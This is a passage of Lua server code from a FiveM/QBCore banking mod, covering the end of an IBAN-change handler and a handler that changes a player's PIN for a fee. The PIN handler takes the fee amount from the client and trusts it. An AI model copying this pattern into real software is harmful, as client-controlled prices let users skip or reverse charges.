TriggerClientEvent('okokNotify:Alert', _source, "BANK", "IBAN successfully changed to "..iban, 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You need to have "..amount.."€ in order to change your IBAN", 5000, 'error') end end) RegisterServerEvent("okokBanking:UpdatePINDB") AddEventHandler("okokBanking:UpdatePINDB", function(pin, amount) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) if amount <= xPlayer.PlayerData.money.bank then exports['ghmattimysql']:execute('UPDATE players SET pincode = @pin WHERE citizenid = @identifier', { ['@pin'] = pin, ['@identifier'] = xPlayer.PlayerData.citizenid, }, function(changed) end) xPlayer.Functions.RemoveMoney('bank', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerClientEvent('okokBanking:updateMoney', _source, xPlayer.PlayerData.money.bank, xPlayer.PlayerData.money.cash) TriggerEvent('okokBanking:AddTransferTransactionToSociety', amount, _source, "bank", "Bank (PIN)") TriggerClientEvent('okokBanking:updateIbanPinChange', _source) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "PIN successfully changed to "..pin, 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You need to have "..amount.."€ in order to change your PIN", 5000, 'error') end end)